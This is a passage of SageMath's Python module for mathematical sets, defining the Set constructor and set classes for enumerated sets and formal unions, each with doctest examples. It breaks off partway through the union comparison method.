http://www.gnu.org/licenses/\n#*****************************************************************************\nfrom __future__ import print_function\nimport six\nfrom six import integer_types\n\nfrom sage.misc.latex import latex\nfrom sage.misc.prandom import choice\n\nfrom sage.structure.category_object import CategoryObject\nfrom sage.structure.element import Element\nfrom sage.structure.parent import Parent, Set_generic\nfrom sage.structure.richcmp import richcmp_method, richcmp, rich_to_bool\n\nfrom sage.categories.sets_cat import Sets\nfrom sage.categories.enumerated_sets import EnumeratedSets\n\nimport sage.rings.infinity\n\n\ndef has_finite_length(obj):\n    \"\"\"\n    Return ``True`` if ``obj`` is known to have finite length.\n\n    This is mainly meant for pure Python types, so we do not call any\n    Sage-specific methods.\n\n    EXAMPLES::\n\n        sage: from sage.sets.set import has_finite_length\n        sage: has_finite_length(tuple(range(10)))\n        True\n        sage: has_finite_length(list(range(10)))\n        True\n        sage: has_finite_length(set(range(10)))\n        True\n        sage: has_finite_length(iter(range(10)))\n        False\n        sage: has_finite_length(GF(17^127))\n        True\n        sage: has_finite_length(ZZ)\n        False\n    \"\"\"\n    try:\n        len(obj)\n    except OverflowError:\n        return True\n    except Exception:\n        return False\n    else:\n        return True\n\n\ndef Set(X=[]):\n    r\"\"\"\n    Create the underlying set of ``X``.\n\n    If ``X`` is a list, tuple, Python set, or ``X.is_finite()`` is\n    ``True``, this returns a wrapper around Python's enumerated immutable\n    ``frozenset`` type with extra functionality.  Otherwise it returns a\n    more formal wrapper.\n\n    If you need the functionality of mutable sets, use Python's\n    builtin set type.\n\n    EXAMPLES::\n\n        sage: X = Set(GF(9,'a'))\n        sage: X\n        {0, 1, 2, a, a + 1, a + 2, 2*a, 2*a + 1, 2*a + 2}\n        sage: type(X)\n        <class 'sage.sets.set.Set_object_enumerated_with_category'>\n        sage: Y = X.union(Set(QQ))\n        sage: Y\n        Set-theoretic union of {0, 1, 2, a, a + 1, a + 2, 2*a, 2*a + 1, 2*a + 2} and Set of elements of Rational Field\n        sage: type(Y)\n        <class 'sage.sets.set.Set_object_union_with_category'>\n\n    Usually sets can be used as dictionary keys.\n\n    ::\n\n        sage: d={Set([2*I,1+I]):10}\n        sage: d                  # key is randomly ordered\n        {{I + 1, 2*I}: 10}\n        sage: d[Set([1+I,2*I])]\n        10\n        sage: d[Set((1+I,2*I))]\n        10\n\n    The original object is often forgotten.\n\n    ::\n\n        sage: v = [1,2,3]\n        sage: X = Set(v)\n        sage: X\n        {1, 2, 3}\n        sage: v.append(5)\n        sage: X\n        {1, 2, 3}\n        sage: 5 in X\n        False\n\n    Set also accepts iterators, but be careful to only give *finite*\n    sets::\n\n        sage: from six.moves import range\n        sage: sorted(Set(range(1,6)))\n        [1, 2, 3, 4, 5]\n        sage: sorted(Set(list(range(1,6))))\n        [1, 2, 3, 4, 5]\n        sage: sorted(Set(iter(range(1,6))))\n        [1, 2, 3, 4, 5]\n\n    We can also create sets from different types::\n\n        sage: sorted(Set([Sequence([3,1], immutable=True), 5, QQ, Partition([3,1,1])]), key=str)\n        [5, Rational Field, [3, 1, 1], [3, 1]]\n\n    Sets with unhashable objects work, but with less functionality::\n\n        sage: A = Set([QQ, (3, 1), 5])  # hashable\n        sage: sorted(A.list(), key=repr)\n        [(3, 1), 5, Rational Field]\n        sage: type(A)\n        <class 'sage.sets.set.Set_object_enumerated_with_category'>\n        sage: B = Set([QQ, [3, 1], 5])  # unhashable\n        sage: sorted(B.list(), key=repr)\n        Traceback (most recent call last):\n        ...\n        AttributeError: 'Set_object_with_category' object has no attribute 'list'\n        sage: type(B)\n        <class 'sage.sets.set.Set_object_with_category'>\n\n    TESTS::\n\n        sage: Set(Primes())\n        Set of all prime numbers: 2, 3, 5, 7, ...\n        sage: Set(Subsets([1,2,3])).cardinality()\n        8\n        sage: S = Set(iter([1,2,3])); S\n        {1, 2, 3}\n        sage: type(S)\n        <class 'sage.sets.set.Set_object_enumerated_with_category'>\n        sage: S = Set([])\n        sage: TestSuite(S).run()\n\n    Check that :trac:`16090` is fixed::\n\n        sage: Set()\n        {}\n    \"\"\"\n    if isinstance(X, CategoryObject):\n        if isinstance(X, Set_generic):\n            return X\n        elif X in Sets().Finite():\n            return Set_object_enumerated(X)\n        else:\n            return Set_object(X)\n\n    if isinstance(X, Element):\n        raise TypeError(\"Element has no defined underlying set\")\n\n    try:\n        X = frozenset(X)\n    except TypeError:\n        return Set_object(X)\n    else:\n        return Set_object_enumerated(X)\n\n\n@richcmp_method\nclass Set_object(Set_generic):\n    r\"\"\"\n    A set attached to an almost arbitrary object.\n\n    EXAMPLES::\n\n        sage: K = GF(19)\n        sage: Set(K)\n        {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18}\n        sage: S = Set(K)\n\n        sage: latex(S)\n        \\left\\{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18\\right\\}\n        sage: TestSuite(S).run()\n\n        sage: latex(Set(ZZ))\n        \\Bold{Z}\n\n    TESTS:\n\n    See trac ticket :trac:`14486`::\n\n        sage: 0 == Set([1]), Set([1]) == 0\n        (False, False)\n        sage: 1 == Set([0]), Set([0]) == 1\n        (False, False)\n    \"\"\"\n    def __init__(self, X, category=None):\n        \"\"\"\n        Create a Set_object\n\n        This function is called by the Set function; users\n        shouldn't call this directly.\n\n        EXAMPLES::\n\n            sage: type(Set(QQ))\n            <class 'sage.sets.set.Set_object_with_category'>\n            sage: Set(QQ).category()\n            Category of sets\n\n        TESTS::\n\n            sage: _a, _b = get_coercion_model().canonical_coercion(Set([0]), 0)\n            Traceback (most recent call last):\n            ...\n            TypeError: no common canonical parent for objects with parents:\n            '<class 'sage.sets.set.Set_object_enumerated_with_category'>'\n            and 'Integer Ring'\n        \"\"\"\n        from sage.rings.integer import is_Integer\n        if isinstance(X, integer_types) or is_Integer(X):\n            # The coercion model will try to call Set_object(0)\n            raise ValueError('underlying object cannot be an integer')\n\n        if category is None:\n            category = Sets()\n        Parent.__init__(self, category=category)\n        self.__object = X\n\n    def __hash__(self):\n        \"\"\"\n        Return the hash value of ``self``.\n\n        EXAMPLES::\n\n            sage: hash(Set(QQ)) == hash(QQ)\n            True\n        \"\"\"\n        return hash(self.__object)\n\n    def _latex_(self):\n        r\"\"\"\n        Return latex representation of this set.\n\n        This is often the same as the latex representation of this\n        object when the object is infinite.\n\n        EXAMPLES::\n\n            sage: latex(Set(QQ))\n            \\Bold{Q}\n\n        When the object is finite or a special set then the latex\n        representation can be more interesting.\n\n        ::\n\n            sage: print(latex(Primes()))\n            \\text{\\texttt{Set{ }of{ }all{ }prime{ }numbers:{ }2,{ }3,{ }5,{ }7,{ }...}}\n            sage: print(latex(Set([1,1,1,5,6])))\n            \\left\\{1, 5, 6\\right\\}\n        \"\"\"\n        return latex(self.__object)\n\n    def _repr_(self):\n        \"\"\"\n        Print representation of this set.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ)\n            sage: X\n            Set of elements of Integer Ring\n            sage: X.rename('{ integers }')\n            sage: X\n            { integers }\n        \"\"\"\n        return \"Set of elements of \" + repr(self.__object)\n\n    def __iter__(self):\n        \"\"\"\n        Iterate over the elements of this set.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ)\n            sage: I = X.__iter__()\n            sage: next(I)\n            0\n            sage: next(I)\n            1\n            sage: next(I)\n            -1\n            sage: next(I)\n            2\n        \"\"\"\n        return iter(self.__object)\n\n    an_element = EnumeratedSets.ParentMethods.__dict__['_an_element_from_iterator']\n\n    def __contains__(self, x):\n        \"\"\"\n        Return ``True`` if `x` is in ``self``.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ)\n            sage: 5 in X\n            True\n            sage: GF(7)(3) in X\n            True\n            sage: 2/1 in X\n            True\n            sage: 2/1 in ZZ\n            True\n            sage: 2/3 in X\n            False\n\n        Finite fields better illustrate the difference between\n        ``__contains__`` for objects and their underlying sets.\n\n            sage: X = Set(GF(7))\n            sage: X\n            {0, 1, 2, 3, 4, 5, 6}\n            sage: 5/3 in X\n            False\n            sage: 5/3 in GF(7)\n            False\n            sage: sorted(Set(GF(7)).union(Set(GF(5))), key=int)\n            [0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6]\n            sage: Set(GF(7)).intersection(Set(GF(5)))\n            {}\n        \"\"\"\n        return x in self.__object\n\n    def __richcmp__(self, right, op):\n        r\"\"\"\n        Compare ``self`` and ``right``.\n\n        If ``right`` is not a :class:`Set_object`, return ``NotImplemented``.\n        If ``right`` is also a :class:`Set_object`, returns comparison\n        on the underlying objects.\n\n        .. NOTE::\n\n           If `X < Y` is true this does *not* necessarily mean\n           that `X` is a subset of `Y`.  Also, any two sets can be\n           compared still, but the result need not be meaningful\n           if they are not equal.\n\n        EXAMPLES::\n\n            sage: Set(ZZ) == Set(QQ)\n            False\n            sage: Set(ZZ) < Set(QQ)\n            True\n            sage: Primes() == Set(QQ)\n            False\n\n        The following is random, illustrating that comparison of\n        sets is not the subset relation, when they are not equal::\n\n            sage: Primes() < Set(QQ)             # random  # py2\n            True or False\n        \"\"\"\n        if not isinstance(right, Set_object):\n            return NotImplemented\n        return richcmp(self.__object, right.__object, op)\n\n    def union(self, X):\n        \"\"\"\n        Return the union of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: Set(QQ).union(Set(ZZ))\n            Set-theoretic union of Set of elements of Rational Field and Set of elements of Integer Ring\n            sage: Set(QQ) + Set(ZZ)\n            Set-theoretic union of Set of elements of Rational Field and Set of elements of Integer Ring\n            sage: X = Set(QQ).union(Set(GF(3))); X\n            Set-theoretic union of Set of elements of Rational Field and {0, 1, 2}\n            sage: 2/3 in X\n            True\n            sage: GF(3)(2) in X\n            True\n            sage: GF(5)(2) in X\n            False\n            sage: sorted(Set(GF(7)) + Set(GF(3)), key=int)\n            [0, 0, 1, 1, 2, 2, 3, 4, 5, 6]\n        \"\"\"\n        if isinstance(X, Set_generic):\n            if self is X:\n                return self\n            return Set_object_union(self, X)\n        raise TypeError(\"X (=%s) must be a Set\"%X)\n\n    def __add__(self, X):\n        \"\"\"\n        Return the union of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: Set(RealField()) + Set(QQ^5)\n             Set-theoretic union of Set of elements of Real Field with 53 bits of precision and Set of elements of Vector space of dimension 5 over Rational Field\n            sage: Set(GF(3)) + Set(GF(2))\n            {0, 1, 2, 0, 1}\n            sage: Set(GF(2)) + Set(GF(4,'a'))\n            {0, 1, a, a + 1}\n            sage: sorted(Set(GF(8,'b')) + Set(GF(4,'a')), key=str)\n            [0, 0, 1, 1, a, a + 1, b, b + 1, b^2, b^2 + 1, b^2 + b, b^2 + b + 1]\n        \"\"\"\n        return self.union(X)\n\n    def __or__(self, X):\n        \"\"\"\n        Return the union of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: Set([2,3]) | Set([3,4])\n            {2, 3, 4}\n            sage: Set(ZZ) | Set(QQ)\n            Set-theoretic union of Set of elements of Integer Ring and Set of elements of Rational Field\n        \"\"\"\n\n        return self.union(X)\n\n    def intersection(self, X):\n        r\"\"\"\n        Return the intersection of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ).intersection(Primes())\n            sage: 4 in X\n            False\n            sage: 3 in X\n            True\n\n            sage: 2/1 in X\n            True\n\n            sage: X = Set(GF(9,'b')).intersection(Set(GF(27,'c')))\n            sage: X\n            {}\n\n            sage: X = Set(GF(9,'b')).intersection(Set(GF(27,'b')))\n            sage: X\n            {}\n        \"\"\"\n        if isinstance(X, Set_generic):\n            if self is X:\n                return self\n            return Set_object_intersection(self, X)\n        raise TypeError(\"X (=%s) must be a Set\"%X)\n\n\n    def difference(self, X):\n        r\"\"\"\n        Return the set difference ``self - X``.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ).difference(Primes())\n            sage: 4 in X\n            True\n            sage: 3 in X\n            False\n\n            sage: 4/1 in X\n            True\n\n            sage: X = Set(GF(9,'b')).difference(Set(GF(27,'c')))\n            sage: X\n            {0, 1, 2, b, b + 1, b + 2, 2*b, 2*b + 1, 2*b + 2}\n\n            sage: X = Set(GF(9,'b')).difference(Set(GF(27,'b')))\n            sage: X\n            {0, 1, 2, b, b + 1, b + 2, 2*b, 2*b + 1, 2*b + 2}\n        \"\"\"\n        if isinstance(X, Set_generic):\n            if self is X:\n                return Set([])\n            return Set_object_difference(self, X)\n        raise TypeError(\"X (=%s) must be a Set\"%X)\n\n    def symmetric_difference(self, X):\n        r\"\"\"\n        Returns the symmetric difference of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: X = Set([1,2,3]).symmetric_difference(Set([3,4]))\n            sage: X\n            {1, 2, 4}\n        \"\"\"\n\n        if isinstance(X, Set_generic):\n            if self is X:\n                return Set([])\n            return Set_object_symmetric_difference(self, X)\n        raise TypeError(\"X (=%s) must be a Set\"%X)\n\n\n    def __sub__(self, X):\n        \"\"\"\n        Return the difference of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ).difference(Primes())\n            sage: Y = Set(ZZ) - Primes()\n            sage: X == Y\n            True\n        \"\"\"\n        return self.difference(X)\n\n    def __and__(self, X):\n        \"\"\"\n        Returns the intersection of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: Set([2,3]) & Set([3,4])\n            {3}\n            sage: Set(ZZ) & Set(QQ)\n            Set-theoretic intersection of Set of elements of Integer Ring and Set of elements of Rational Field\n        \"\"\"\n\n        return self.intersection(X)\n\n    def __xor__(self, X):\n        \"\"\"\n        Returns the symmetric difference of ``self`` and ``X``.\n\n        EXAMPLES::\n\n            sage: X = Set([1,2,3,4])\n            sage: Y = Set([1,2])\n            sage: X.symmetric_difference(Y)\n            {3, 4}\n            sage: X.__xor__(Y)\n            {3, 4}\n        \"\"\"\n        return self.symmetric_difference(X)\n\n    def cardinality(self):\n        \"\"\"\n        Return the cardinality of this set, which is either an integer or\n        ``Infinity``.\n\n        EXAMPLES::\n\n            sage: Set(ZZ).cardinality()\n            +Infinity\n            sage: Primes().cardinality()\n            +Infinity\n            sage: Set(GF(5)).cardinality()\n            5\n            sage: Set(GF(5^2,'a')).cardinality()\n            25\n        \"\"\"\n        if not self.is_finite():\n            return sage.rings.infinity.infinity\n\n        if self is not self.__object:\n            try:\n                return self.__object.cardinality()\n            except (AttributeError, NotImplementedError):\n                pass\n            from sage.rings.integer import Integer\n            try:\n                return Integer(len(self.__object))\n            except TypeError:\n                pass\n\n        raise NotImplementedError(\"computation of cardinality of %s not yet implemented\"%self.__object)\n\n    def is_empty(self):\n        \"\"\"\n        Return boolean representing emptiness of the set.\n\n        OUTPUT:\n\n        True if the set is empty, False if otherwise.\n\n        EXAMPLES::\n\n            sage: Set([]).is_empty()\n            True\n            sage: Set([0]).is_empty()\n            False\n            sage: Set([1..100]).is_empty()\n            False\n            sage: Set(SymmetricGroup(2).list()).is_empty()\n            False\n            sage: Set(ZZ).is_empty()\n            False\n\n        TESTS::\n\n            sage: Set([]).is_empty()\n            True\n            sage: Set([1,2,3]).is_empty()\n            False\n            sage: Set([1..100]).is_empty()\n            False\n            sage: Set(DihedralGroup(4).list()).is_empty()\n            False\n            sage: Set(QQ).is_empty()\n            False\n        \"\"\"\n        return not self\n\n    def is_finite(self):\n        \"\"\"\n        Return ``True`` if ``self`` is finite.\n\n        EXAMPLES::\n\n            sage: Set(QQ).is_finite()\n            False\n            sage: Set(GF(250037)).is_finite()\n            True\n            sage: Set(Integers(2^1000000)).is_finite()\n            True\n            sage: Set([1,'a',ZZ]).is_finite()\n            True\n        \"\"\"\n        obj = self.__object\n        try:\n            is_finite = obj.is_finite\n        except AttributeError:\n            return has_finite_length(obj)\n        else:\n            return is_finite()\n\n    def object(self):\n        \"\"\"\n        Return underlying object.\n\n        EXAMPLES::\n\n            sage: X = Set(QQ)\n            sage: X.object()\n            Rational Field\n            sage: X = Primes()\n            sage: X.object()\n            Set of all prime numbers: 2, 3, 5, 7, ...\n        \"\"\"\n        return self.__object\n\n    def subsets(self,size=None):\n        \"\"\"\n        Return the :class:`Subsets` object representing the subsets of a set.\n        If size is specified, return the subsets of that size.\n\n        EXAMPLES::\n\n            sage: X = Set([1,2,3])\n            sage: list(X.subsets())\n            [{}, {1}, {2}, {3}, {1, 2}, {1, 3}, {2, 3}, {1, 2, 3}]\n            sage: list(X.subsets(2))\n            [{1, 2}, {1, 3}, {2, 3}]\n\n        \"\"\"\n        from sage.combinat.subset import Subsets\n        return Subsets(self,size)\n\n\nclass Set_object_enumerated(Set_object):\n    \"\"\"\n    A finite enumerated set.\n    \"\"\"\n    def __init__(self, X):\n        r\"\"\"\n        Initialize ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(GF(19)); S\n            {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18}\n            sage: S.category()\n            Category of finite sets\n            sage: print(latex(S))\n            \\left\\{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18\\right\\}\n            sage: TestSuite(S).run()\n        \"\"\"\n        Set_object.__init__(self, X, category=Sets().Finite())\n\n    def random_element(self):\n        r\"\"\"\n        Return a random element in this set.\n\n        EXAMPLES::\n\n            sage: Set([1,2,3]).random_element() # random\n            2\n        \"\"\"\n        try:\n            return self.object().random_element()\n        except AttributeError:\n            # TODO: this very slow!\n            return choice(self.list())\n\n    def is_finite(self):\n        r\"\"\"\n        Return ``True`` as this is a finite set.\n\n        EXAMPLES::\n\n            sage: Set(GF(19)).is_finite()\n            True\n        \"\"\"\n        return True\n\n    def cardinality(self):\n        \"\"\"\n        Return the cardinality of ``self``.\n\n        EXAMPLES::\n\n            sage: Set([1,1]).cardinality()\n            1\n        \"\"\"\n        from sage.rings.integer import Integer\n        return Integer(len(self.set()))\n\n    def __len__(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: len(Set([1,1]))\n            1\n        \"\"\"\n        return len(self.set())\n\n    def __iter__(self):\n        r\"\"\"\n        Iterating through the elements of ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(GF(19))\n            sage: I = iter(S)\n            sage: next(I)\n            0\n            sage: next(I)\n            1\n            sage: next(I)\n            2\n            sage: next(I)\n            3\n        \"\"\"\n        return iter(self.set())\n\n    def _latex_(self):\n        r\"\"\"\n        Return the LaTeX representation of ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(GF(2))\n            sage: latex(S)\n            \\left\\{0, 1\\right\\}\n        \"\"\"\n        return '\\\\left\\\\{' + ', '.join([latex(x) for x in self.set()])  + '\\\\right\\\\}'\n\n    def _repr_(self):\n        r\"\"\"\n        Return the string representation of ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(GF(2))\n            sage: S\n            {0, 1}\n\n        TESTS::\n\n            sage: Set()\n            {}\n        \"\"\"\n        py_set = self.set()\n        if six.PY3:\n            if not py_set:\n                return \"{}\"\n            return repr(py_set)\n        else:\n            return \"{\" + repr(py_set)[5:-2] + \"}\"\n\n    def list(self):\n        \"\"\"\n        Return the elements of ``self``, as a list.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(8,'c'))\n            sage: X\n            {0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1}\n            sage: X.list()\n            [0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1]\n            sage: type(X.list())\n            <... 'list'>\n\n        .. TODO::\n\n            FIXME: What should be the order of the result?\n            That of ``self.object()``? Or the order given by\n            ``set(self.object())``? Note that :meth:`__getitem__` is\n            currently implemented in term of this list method, which\n            is really inefficient ...\n        \"\"\"\n        return list(set(self.object()))\n\n    def set(self):\n        \"\"\"\n        Return the Python set object associated to this set.\n\n        Python has a notion of finite set, and often Sage sets\n        have an associated Python set.  This function returns\n        that set.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(8,'c'))\n            sage: X\n            {0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1}\n            sage: X.set()\n            {0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1}\n            sage: type(X.set())\n            <... 'set'>\n            sage: type(X)\n            <class 'sage.sets.set.Set_object_enumerated_with_category'>\n        \"\"\"\n        return set(self.object())\n\n    def frozenset(self):\n        \"\"\"\n        Return the Python frozenset object associated to this set,\n        which is an immutable set (hence hashable).\n\n        EXAMPLES::\n\n            sage: X = Set(GF(8,'c'))\n            sage: X\n            {0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1}\n            sage: s = X.set(); s\n            {0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1}\n            sage: hash(s)\n            Traceback (most recent call last):\n            ...\n            TypeError: unhashable type: 'set'\n            sage: s = X.frozenset(); s\n            frozenset({0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1})\n\n            sage: hash(s) != hash(tuple(X.set()))\n            True\n\n            sage: type(s)\n            <... 'frozenset'>\n        \"\"\"\n        return frozenset(self.object())\n\n    def __hash__(self):\n        \"\"\"\n        Return the hash of ``self`` (as a ``frozenset``).\n\n        EXAMPLES::\n\n            sage: s = Set(GF(8,'c'))\n            sage: hash(s) == hash(s)\n            True\n        \"\"\"\n        return hash(self.frozenset())\n\n    def __richcmp__(self, other, op):\n        \"\"\"\n        Compare the sets ``self`` and ``other``.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(8,'c'))\n            sage: X == Set(GF(8,'c'))\n            True\n            sage: X == Set(GF(4,'a'))\n            False\n            sage: Set(QQ) == Set(ZZ)\n            False\n            sage: Set([1]) == set([1])\n            True\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            if isinstance(other, (set, frozenset)):\n                return self.set() == other\n            return NotImplemented\n        if self.set() == other.set():\n            return rich_to_bool(op, 0)\n        return rich_to_bool(op, -1)\n\n    def issubset(self, other):\n        r\"\"\"\n        Return whether ``self`` is a subset of ``other``.\n\n        INPUT:\n\n         - ``other`` -- a finite Set\n\n        EXAMPLES::\n\n            sage: X = Set([1,3,5])\n            sage: Y = Set([0,1,2,3,5,7])\n            sage: X.issubset(Y)\n            True\n            sage: Y.issubset(X)\n            False\n            sage: X.issubset(X)\n            True\n\n        TESTS::\n\n            sage: len([Z for Z in Y.subsets() if Z.issubset(X)])\n            8\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            raise NotImplementedError\n        return self.set().issubset(other.set())\n\n    def issuperset(self, other):\n        r\"\"\"\n        Return whether ``self`` is a superset of ``other``.\n\n        INPUT:\n\n         - ``other`` -- a finite Set\n\n        EXAMPLES::\n\n            sage: X = Set([1,3,5])\n            sage: Y = Set([0,1,2,3,5])\n            sage: X.issuperset(Y)\n            False\n            sage: Y.issuperset(X)\n            True\n            sage: X.issuperset(X)\n            True\n\n        TESTS::\n\n            sage: len([Z for Z in Y.subsets() if Z.issuperset(X)])\n            4\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            raise NotImplementedError\n        return self.set().issuperset(other.set())\n\n    def union(self, other):\n        \"\"\"\n        Return the union of ``self`` and ``other``.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(8,'c'))\n            sage: Y = Set([GF(8,'c').0, 1, 2, 3])\n            sage: X\n            {0, 1, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1}\n            sage: sorted(Y)\n            [1, 2, 3, c]\n            sage: sorted(X.union(Y), key=str)\n            [0, 1, 2, 3, c, c + 1, c^2, c^2 + 1, c^2 + c, c^2 + c + 1]\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            return Set_object.union(self, other)\n        return Set_object_enumerated(self.set().union(other.set()))\n\n    def intersection(self, other):\n        \"\"\"\n        Return the intersection of ``self`` and ``other``.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(8,'c'))\n            sage: Y = Set([GF(8,'c').0, 1, 2, 3])\n            sage: X.intersection(Y)\n            {1, c}\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            return Set_object.intersection(self, other)\n        return Set_object_enumerated(self.set().intersection(other.set()))\n\n    def difference(self, other):\n        \"\"\"\n        Return the set difference ``self - other``.\n\n        EXAMPLES::\n\n            sage: X = Set([1,2,3,4])\n            sage: Y = Set([1,2])\n            sage: X.difference(Y)\n            {3, 4}\n            sage: Z = Set(ZZ)\n            sage: W = Set([2.5, 4, 5, 6])\n            sage: W.difference(Z)\n            {2.50000000000000}\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            return Set([x for x in self if x not in other])\n        return Set_object_enumerated(self.set().difference(other.set()))\n\n    def symmetric_difference(self, other):\n        \"\"\"\n        Return the symmetric difference of ``self`` and ``other``.\n\n        EXAMPLES::\n\n            sage: X = Set([1,2,3,4])\n            sage: Y = Set([1,2])\n            sage: X.symmetric_difference(Y)\n            {3, 4}\n            sage: Z = Set(ZZ)\n            sage: W = Set([2.5, 4, 5, 6])\n            sage: U = W.symmetric_difference(Z)\n            sage: 2.5 in U\n            True\n            sage: 4 in U\n            False\n            sage: V = Z.symmetric_difference(W)\n            sage: V == U\n            True\n            sage: 2.5 in V\n            True\n            sage: 6 in V\n            False\n        \"\"\"\n        if not isinstance(other, Set_object_enumerated):\n            return Set_object.symmetric_difference(self, other)\n        return Set_object_enumerated(self.set().symmetric_difference(other.set()))\n\nclass Set_object_binary(Set_object):\n    r\"\"\"\n    An abstract common base class for sets defined by a binary operation (ex.\n    :class:`Set_object_union`, :class:`Set_object_intersection`,\n    :class:`Set_object_difference`, and\n    :class:`Set_object_symmetric_difference`).\n\n    INPUT:\n\n    - ``X``, ``Y`` -- sets, the operands to ``op``\n\n    - ``op`` -- a string describing the binary operation\n\n    - ``latex_op`` -- a string used for rendering this object in LaTeX\n\n    EXAMPLES::\n\n        sage: X = Set(QQ^2)\n        sage: Y = Set(ZZ)\n        sage: from sage.sets.set import Set_object_binary\n        sage: S = Set_object_binary(X, Y, \"union\", \"\\\\cup\"); S\n        Set-theoretic union of Set of elements of Vector space of dimension 2\n         over Rational Field and Set of elements of Integer Ring\n    \"\"\"\n    def __init__(self, X, Y, op, latex_op):\n        r\"\"\"\n        Initialization.\n\n        TESTS::\n\n            sage: from sage.sets.set import Set_object_binary\n            sage: X = Set(QQ^2)\n            sage: Y = Set(ZZ)\n            sage: S = Set_object_binary(X, Y, \"union\", \"\\\\cup\")\n            sage: type(S)\n            <class 'sage.sets.set.Set_object_binary_with_category'>\n        \"\"\"\n        self._X = X\n        self._Y = Y\n        self._op = op\n        self._latex_op = latex_op\n        Set_object.__init__(self, self)\n\n    def _repr_(self):\n        r\"\"\"\n        Return a string representation of this set.\n\n        EXAMPLES::\n\n            sage: Set(ZZ).union(Set(GF(5)))\n            Set-theoretic union of Set of elements of Integer Ring and {0, 1, 2, 3, 4}\n        \"\"\"\n        return \"Set-theoretic {} of {} and {}\".format(self._op, self._X, self._Y)\n\n    def _latex_(self):\n        r\"\"\"\n        Return a latex representation of this set.\n\n        EXAMPLES::\n\n            sage: latex(Set(ZZ).union(Set(GF(5))))\n            \\Bold{Z} \\cup \\left\\{0, 1, 2, 3, 4\\right\\}\n        \"\"\"\n        return latex(self._X) + self._latex_op + latex(self._Y)\n\n    def __hash__(self):\n        \"\"\"\n        The hash value of this set.\n\n        EXAMPLES:\n\n        The hash values of equal sets are in general not equal since it is not\n        decidable whether two sets are equal::\n\n            sage: X = Set(GF(13)).intersection(Set(ZZ))\n            sage: Y = Set(ZZ).intersection(Set(GF(13)))\n            sage: hash(X) == hash(Y)\n            False\n\n        TESTS:\n\n        Test that :trac:`14432` has been resolved::\n\n            sage: S = Set(ZZ).union(Set([infinity]))\n            sage: T = Set(ZZ).union(Set([infinity]))\n            sage: hash(S) == hash(T)\n            True\n        \"\"\"\n        return hash((self._X, self._Y, self._op))\n\nclass Set_object_union(Set_object_binary):\n    \"\"\"\n    A formal union of two sets.\n    \"\"\"\n    def __init__(self, X, Y):\n        r\"\"\"\n        Initialize ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(QQ^2)\n            sage: T = Set(ZZ)\n            sage: X = S.union(T); X\n            Set-theoretic union of Set of elements of Vector space of dimension 2 over Rational Field and Set of elements of Integer Ring\n\n            sage: latex(X)\n            \\Bold{Q}^{2} \\cup \\Bold{Z}\n\n            sage: TestSuite(X).run()\n        \"\"\"\n        Set_object_binary.__init__(self, X, Y, \"union\", \"\\\\cup\")\n\n    def is_finite(self):\n        r\"\"\"\n        Return whether this set is finite.\n\n        EXAMPLES::\n\n            sage: X = Set(range(10))\n            sage: Y = Set(range(-10,0))\n            sage: Z = Set(Primes())\n            sage: X.union(Y).is_finite()\n            True\n            sage: X.union(Z).is_finite()\n            False\n        \"\"\"\n        return self._X.is_finite() and self._Y.is_finite()\n\n    def __richcmp__(self, right, op):\n        r\"\"\"\n        Try to compare ``self`` and ``right``.\n\n        .. NOTE::\n\n           Comparison is basically not implemented, or rather it could\n           say sets are not equal even though they are.  I don't know\n           how one could implement this for a generic union of sets in\n           a meaningful manner.  So be careful when using this.\n\n        EXAMPLES::\n\n            sage: Y = Set(ZZ^2).union(Set(ZZ^3))\n            sage: X = Set(ZZ^3).union(Set(ZZ^2))\n            sage: X == Y\n            True\n            sage: Y == X\n            True\n\n        This illustrates that equality testing for formal unions\n        can be misleading in general.\n\n        ::\n\n            sage: Set(ZZ).union(Set(QQ)) == Set(QQ)\n            False\n        \"\"\"\n        if not isinstance(right, Set_generic):\n            return rich_to_bool(op, -1)\n        if not isinstance(right, Set_object_union):\n            return rich_to_bool(op, -1)\n        if self._X == right._X and self._Y == right._Y or \\\n           self._X == right._Y and self._Y == right._X:\n            return 